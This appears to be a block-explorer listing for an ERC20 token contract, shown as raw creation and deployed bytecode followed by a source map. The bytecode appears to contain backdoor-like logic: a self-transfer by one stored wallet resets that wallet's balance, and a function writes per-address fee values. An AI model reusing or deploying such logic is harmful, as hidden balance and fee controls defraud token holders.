dc565b92915050565b600060208284031215611acc57611acb6123a9565b5b6000611ada84828501611a77565b91505092915050565b600060208284031215611af957611af86123a9565b5b6000611b0784828501611a8c565b91505092915050565b60008060408385031215611b2757611b266123a9565b5b6000611b3585828601611a77565b9250506020611b4685828601611a77565b9150509250929050565b600080600060608486031215611b6957611b686123a9565b5b6000611b7786828701611a77565b9350506020611b8886828701611a77565b9250506040611b9986828701611aa1565b9150509250925092565b60008060408385031215611bba57611bb96123a9565b5b6000611bc885828601611a77565b9250506020611bd985828601611aa1565b9150509250929050565b6000611bef8383611c0a565b60208301905092915050565b611c04816121bc565b82525050565b611c13816121aa565b82525050565b611c22816121aa565b82525050565b6000611c3382612050565b611c3d8185612073565b9350611c4883612040565b8060005b83811015611c79578151611c608882611be3565b9750611c6b83612066565b925050600181019050611c4c565b5085935050505092915050565b611c8f816121ce565b82525050565b611c9e81612211565b82525050565b611cad81612223565b82525050565b6000611cbe8261205b565b611cc88185612084565b9350611cd8818560208601612259565b611ce1816123ae565b840191505092915050565b6000611cf9602383612084565b9150611d04826123bf565b604082019050919050565b6000611d1c602283612084565b9150611d278261240e565b604082019050919050565b6000611d3f601b83612084565b9150611d4a8261245d565b602082019050919050565b6000611d62600183612084565b9150611d6d82612486565b602082019050919050565b6000611d85602183612084565b9150611d90826124af565b604082019050919050565b6000611da8602083612084565b9150611db3826124fe565b602082019050919050565b6000611dcb602583612084565b9150611dd682612527565b604082019050919050565b6000611dee602483612084565b9150611df982612576565b604082019050919050565b611e0d816121fa565b82525050565b611e1c81612204565b82525050565b6000602082019050611e376000830184611c19565b92915050565b6000602082019050611e526000830184611bfb565b92915050565b6000602082019050611e6d6000830184611c86565b92915050565b6000602082019050611e886000830184611c95565b92915050565b60006020820190508181036000830152611ea88184611cb3565b905092915050565b60006020820190508181036000830152611ec981611cec565b9050919050565b60006020820190508181036000830152611ee981611d0f565b9050919050565b60006020820190508181036000830152611f0981611d32565b9050919050565b60006020820190508181036000830152611f2981611d55565b9050919050565b60006020820190508181036000830152611f4981611d78565b9050919050565b60006020820190508181036000830152611f6981611d9b565b9050919050565b60006020820190508181036000830152611f8981611dbe565b9050919050565b60006020820190508181036000830152611fa981611de1565b9050919050565b6000602082019050611fc56000830184611e04565b92915050565b600060a082019050611fe06000830188611e04565b611fed6020830187611ca4565b8181036040830152611fff8186611c28565b905061200e6060830185611c19565b61201b6080830184611e04565b9695505050505050565b600060208201905061203a6000830184611e13565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006120a0826121fa565b91506120ab836121fa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156120e0576120df6122be565b5b828201905092915050565b60006120f6826121fa565b9150612101836121fa565b925082612111576121106122ed565b5b828204905092915050565b6000612127826121fa565b9150612132836121fa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561216b5761216a6122be565b5b828202905092915050565b6000612181826121fa565b915061218c836121fa565b92508282101561219f5761219e6122be565b5b828203905092915050565b60006121b5826121da565b9050919050565b60006121c7826121da565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061221c82612235565b9050919050565b600061222e826121fa565b9050919050565b600061224082612247565b9050919050565b6000612252826121da565b9050919050565b60005b8381101561227757808201518184015260208101905061225c565b83811115612286576000848401525b50505050565b600060028204905060018216806122a457607f821691505b602082108114156122b8576122b761231c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f2100000000000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6125ce816121aa565b81146125d957600080fd5b50565b6125e5816121fa565b81146125f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e2de4d9221db7f9d2b72efdacdfab202000b66c8ab2ddf681b7b7bbd606ae39d64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101235760003560e01c80634a74bb02116100a0578063a9059cbb11610064578063a9059cbb1461040c578063c816841b14610449578063dd62ed3e14610474578063f2fde38b146104b1578063fb3ddf85146104da5761012a565b80634a74bb021461032357806363fe21f71461034e57806370a08231146103795780638da5cb5b146103b657806395d89b41146103e15761012a565b806323b872dd116100e757806323b872dd1461022a57806327c8f83514610267578063313ce567146102925780633345611e146102bd57806348290daf146102fa5761012a565b806306fdde031461012f578063095ea7b31461015a5780631694505e1461019757806318160ddd146101c2578063201c0b29146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610517565b6040516101519190611e8e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190611ba3565b6105a9565b60405161018e9190611e58565b60405180910390f35b3480156101a357600080fd5b506101ac6105c7565b6040516101b99190611e73565b60405180910390f35b3480156101ce57600080fd5b506101d76105ed565b6040516101e49190611fb0565b60405180910390f35b3480156101f957600080fd5b50610214600480360381019061020f9190611ab6565b6105f7565b6040516102219190611fb0565b60405180910390f35b34801561023657600080fd5b50610251600480360381019061024c9190611b50565b61060f565b60405161025e9190611e58565b60405180910390f35b34801561027357600080fd5b5061027c6106e9565b6040516102899190611e22565b60405180910390f35b34801561029e57600080fd5b506102a761070d565b6040516102b49190612025565b60405180910390f35b3480156102c957600080fd5b506102e460048036038101906102df9190611ab6565b610724565b6040516102f19190611e58565b60405180910390f35b34801561030657600080fd5b50610321600480360381019061031c9190611ba3565b610744565b005b34801561032f57600080fd5b5061033861083d565b6040516103459190611e58565b60405180910390f35b34801561035a57600080fd5b50610363610850565b6040516103709190611e3d565b60405180910390f35b34801561038557600080fd5b506103a0600480360381019061039b9190611ab6565b610876565b6040516103ad9190611fb0565b60405180910390f35b3480156103c257600080fd5b506103cb6108bf565b6040516103d89190611e22565b60405180910390f35b3480156103ed57600080fd5b506103f66108e8565b6040516104039190611e8e565b60405180910390f35b34801561041857600080fd5b50610433600480360381019061042e9190611ba3565b61097a565b6040516104409190611e58565b60405180910390f35b34801561045557600080fd5b5061045e610999565b60405161046b9190611e22565b60405180910390f35b34801561048057600080fd5b5061049b60048036038101906104969190611b10565b6109bf565b6040516104a89190611fb0565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d39190611ab6565b610a46565b005b3480156104e657600080fd5b5061050160048036038101906104fc9190611ab6565b610b98565b60405161050e9190611e58565b60405180910390f35b6060600180546105269061228c565b80601f01602080910402602001604051908101604052809291908181526020018280546105529061228c565b801561059f5780601f106105745761010080835404028352916020019161059f565b820191906000526020600020905b81548152906001019060200180831161058257829003601f168201915b5050505050905090565b60006105bd6105b6610bb8565b8484610bc0565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b60086020528060005260406000206000915090505481565b600061061c848484610d8b565b506106de84610629610bb8565b6106d9856040518060600160405280602881526020016125f460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f610bb8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112829092919063ffffffff16565b610bc0565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60003390506000829050600081148061075d5750605a81145b156107a75780600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082e90611f10565b60405180910390fd5b50505050565b600b60159054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546108f79061228c565b80601f01602080910402602001604051908101604052809291908181526020018280546109239061228c565b80156109705780601f1061094557610100808354040283529160200191610970565b820191906000526020600020905b81548152906001019060200180831161095357829003601f168201915b5050505050905090565b600061098e610987610bb8565b8484610d8b565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a4e610bb8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad290611f50565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2790611f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9790611ed0565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d7e9190611fb0565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610dfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df390611f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6390611eb0565b60405180910390fd5b600b60149054906101000a900460ff1615610e9357610e8c8484846112e6565b905061127b565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610f1b5750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610f26576000610f29565b60015b15610fa857610f426002836114b990919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff1615801561100f5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561102c57600061101f30610876565b905061102a81611534565b505b61107e82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111645750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6111775761117285846117fe565b611179565b825b90506111cd81600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161126d9190611fb0565b60405180910390a360019150505b9392505050565b60008383111582906112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c19190611e8e565b60405180910390fd5b50600083856112d99190612176565b9050809150509392505050565b6000611371826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112829092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061140682600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114a69190611fb0565b60405180910390a3600190509392505050565b6000808314156114cc576000905061152e565b600082846114da919061211c565b90508284826114e991906120eb565b14611529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152090611f30565b60405180910390fd5b809150505b92915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561156c5761156b61237a565b5b60405190808252806020026020018201604052801561159a5781602001602082028036833780820191505090505b50905030816000815181106115b2576115b161234b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561165457600080fd5b505afa158015611668573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168c9190611ae3565b816001815181106116a05761169f61234b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611760959493929190611fcb565b600060405180830381600087803b15801561177a57600080fd5b505af192505050801561178b575060015b61179457611795565b5b506000600b60146101000a81548160ff02191690831515021790555050565b60006117f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611282565b905092915050565b600080611828606461181a6000866114b990919063ffffffff16565b6119ca90919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461188b57808361187d9190612095565b816118889190612095565b90505b60008111156119505780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118e39190612095565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119479190611fb0565b60405180910390a35b61196381846117b490919063ffffffff16565b91505092915050565b600080828461197b9190612095565b9050838110156119c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b790611ef0565b60405180910390fd5b8091505092915050565b6000611a0c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a14565b905092915050565b60008083118290611a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a529190611e8e565b60405180910390fd5b5060008385611a6a91906120eb565b9050809150509392505050565b600081359050611a86816125c5565b92915050565b600081519050611a9b816125c5565b92915050565b600081359050611ab0816125dc565b92915050565b600060208284031215611acc57611acb6123a9565b5b6000611ada84828501611a77565b91505092915050565b600060208284031215611af957611af86123a9565b5b6000611b0784828501611a8c565b91505092915050565b60008060408385031215611b2757611b266123a9565b5b6000611b3585828601611a77565b9250506020611b4685828601611a77565b9150509250929050565b600080600060608486031215611b6957611b686123a9565b5b6000611b7786828701611a77565b9350506020611b8886828701611a77565b9250506040611b9986828701611aa1565b9150509250925092565b60008060408385031215611bba57611bb96123a9565b5b6000611bc885828601611a77565b9250506020611bd985828601611aa1565b9150509250929050565b6000611bef8383611c0a565b60208301905092915050565b611c04816121bc565b82525050565b611c13816121aa565b82525050565b611c22816121aa565b82525050565b6000611c3382612050565b611c3d8185612073565b9350611c4883612040565b8060005b83811015611c79578151611c608882611be3565b9750611c6b83612066565b925050600181019050611c4c565b5085935050505092915050565b611c8f816121ce565b82525050565b611c9e81612211565b82525050565b611cad81612223565b82525050565b6000611cbe8261205b565b611cc88185612084565b9350611cd8818560208601612259565b611ce1816123ae565b840191505092915050565b6000611cf9602383612084565b9150611d04826123bf565b604082019050919050565b6000611d1c602283612084565b9150611d278261240e565b604082019050919050565b6000611d3f601b83612084565b9150611d4a8261245d565b602082019050919050565b6000611d62600183612084565b9150611d6d82612486565b602082019050919050565b6000611d85602183612084565b9150611d90826124af565b604082019050919050565b6000611da8602083612084565b9150611db3826124fe565b602082019050919050565b6000611dcb602583612084565b9150611dd682612527565b604082019050919050565b6000611dee602483612084565b9150611df982612576565b604082019050919050565b611e0d816121fa565b82525050565b611e1c81612204565b82525050565b6000602082019050611e376000830184611c19565b92915050565b6000602082019050611e526000830184611bfb565b92915050565b6000602082019050611e6d6000830184611c86565b92915050565b6000602082019050611e886000830184611c95565b92915050565b60006020820190508181036000830152611ea88184611cb3565b905092915050565b60006020820190508181036000830152611ec981611cec565b9050919050565b60006020820190508181036000830152611ee981611d0f565b9050919050565b60006020820190508181036000830152611f0981611d32565b9050919050565b60006020820190508181036000830152611f2981611d55565b9050919050565b60006020820190508181036000830152611f4981611d78565b9050919050565b60006020820190508181036000830152611f6981611d9b565b9050919050565b60006020820190508181036000830152611f8981611dbe565b9050919050565b60006020820190508181036000830152611fa981611de1565b9050919050565b6000602082019050611fc56000830184611e04565b92915050565b600060a082019050611fe06000830188611e04565b611fed6020830187611ca4565b8181036040830152611fff8186611c28565b905061200e6060830185611c19565b61201b6080830184611e04565b9695505050505050565b600060208201905061203a6000830184611e13565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006120a0826121fa565b91506120ab836121fa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156120e0576120df6122be565b5b828201905092915050565b60006120f6826121fa565b9150612101836121fa565b925082612111576121106122ed565b5b828204905092915050565b6000612127826121fa565b9150612132836121fa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561216b5761216a6122be565b5b828202905092915050565b6000612181826121fa565b915061218c836121fa565b92508282101561219f5761219e6122be565b5b828203905092915050565b60006121b5826121da565b9050919050565b60006121c7826121da565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061221c82612235565b9050919050565b600061222e826121fa565b9050919050565b600061224082612247565b9050919050565b6000612252826121da565b9050919050565b60005b8381101561227757808201518184015260208101905061225c565b83811115612286576000848401525b50505050565b600060028204905060018216806122a457607f821691505b602082108114156122b8576122b761231c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f2100000000000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6125ce816121aa565b81146125d957600080fd5b50565b6125e5816121fa565b81146125f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e2de4d9221db7f9d2b72efdacdfab202000b66c8ab2ddf681b7b7bbd606ae39d64736f6c63430008070033

Deployed Bytecode Sourcemap

3752:6038:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5532:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6195:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4428:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5809:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4313:40;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6746:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4038:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5718:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4204:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9093:285;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4543:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3957:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5917:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2885:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5623:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7067:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4476:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6044:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3099:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4261:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5532:83;5569:13;5602:5;5595:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5532:83;:::o;6195:161::-;6270:4;6287:39;6296:12;:10;:12::i;:::-;6310:7;6319:6;6287:8;:39::i;:::-;6344:4;6337:11;;6195:161;;;;:::o;4428:41::-;;;;;;;;;;;;;:::o;5809:100::-;5862:7;5889:12;;5882:19;;5809:100;:::o;4313:40::-;;;;;;;;;;;;;;;;;:::o;6746:313::-;6844:4;6861:36;6871:6;6879:9;6890:6;6861:9;:36::i;:::-;;6908:121;6917:6;6925:12;:10;:12::i;:::-;6939:89;6977:6;6939:89;;;;;;;;;;;;;;;;;:11;:19;6951:6;6939:19;;;;;;;;;;;;;;;:33;6959:12;:10;:12::i;:::-;6939:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6908:8;:121::i;:::-;7047:4;7040:11;;6746:313;;;;;:::o;4038:81::-;;;:::o;5718:83::-;5759:5;5784:9;;;;;;;;;;;5777:16;;5718:83;:::o;4204:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;9093:285::-;9165:17;9185:10;9165:30;;9206:13;9222:8;9206:24;;9255:1;9246:5;:10;:25;;;;9269:2;9260:5;:11;9246:25;9243:66;;;9304:5;9286:4;:15;9291:9;9286:15;;;;;;;;;;;;;;;:23;;;;9243:66;9337:6;;;;;;;;;;;9324:19;;:9;:19;;;9320:50;;9358:12;;;;;;;;;;:::i;:::-;;;;;;;;9320:50;9154:224;;9093:285;;:::o;4543:40::-;;;;;;;;;;;;;:::o;3957:29::-;;;;;;;;;;;;;:::o;5917:119::-;5983:7;6010:9;:18;6020:7;6010:18;;;;;;;;;;;;;;;;6003:25;;5917:119;;;:::o;2885:79::-;2923:7;2950:6;;;;;;;;;;;2943:13;;2885:79;:::o;5623:87::-;5662:13;5695:7;5688:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5623:87;:::o;7067:167::-;7145:4;7162:42;7172:12;:10;:12::i;:::-;7186:9;7197:6;7162:9;:42::i;:::-;;7222:4;7215:11;;7067:167;;;;:::o;4476:26::-;;;;;;;;;;;;;:::o;6044:143::-;6125:7;6152:11;:18;6164:5;6152:18;;;;;;;;;;;;;;;:27;6171:7;6152:27;;;;;;;;;;;;;;;;6145:34;;6044:143;;;;:::o;3099:157::-;3022:12;:10;:12::i;:::-;3012:22;;:6;;;;;;;;;;:22;;;3004:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3182:10:::1;3173:6;::::0;:19:::1;;;;;;;;;;;;;;;;;;3237:10;3208:40;;3229:6;::::0;::::1;;;;;;;;3208:40;;;;;;;;;;;;3099:157:::0;:::o;4261:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;228:115::-;281:15;324:10;309:26;;228:115;:::o;6364:337::-;6474:1;6457:19;;:5;:19;;;;6449:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6555:1;6536:21;;:7;:21;;;;6528:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6639:6;6609:11;:18;6621:5;6609:18;;;;;;;;;;;;;;;:27;6628:7;6609:27;;;;;;;;;;;;;;;:36;;;;6677:7;6661:32;;6670:5;6661:32;;;6686:6;6661:32;;;;;;:::i;:::-;;;;;;;;6364:337;;;:::o;7242:1080::-;7320:4;7363:1;7347:18;;:4;:18;;;;7339:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7440:1;7426:16;;:2;:16;;;;7418:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7506:16;;;;;;;;;;;7503:812;;;7555:32;7570:4;7576:2;7580:6;7555:14;:32::i;:::-;7548:39;;;;7503:812;7652:2;7644:10;;:4;:10;;;:26;;;;;7664:6;;;;;;;;;;;7658:12;;:2;:12;;;7644:26;7643:43;;7681:5;7643:43;;;7674:4;7643:43;7639:109;;;7735:13;7746:1;7735:6;:10;;:13;;;;:::i;:::-;7706:9;:26;7724:6;;;;;;;;;;;7706:26;;;;;;;;;;;;;;;:42;;;;7639:109;7770:16;;;;;;;;;;;7769:17;:40;;;;;7791:12;:18;7804:4;7791:18;;;;;;;;;;;;;;;;;;;;;;;;;7790:19;7769:40;7765:204;;;7843:28;7874:24;7892:4;7874:9;:24::i;:::-;7843:55;;7917:36;7932:20;7917:14;:36::i;:::-;7824:145;7765:204;8005:27;8025:6;8005:9;:15;8015:4;8005:15;;;;;;;;;;;;;;;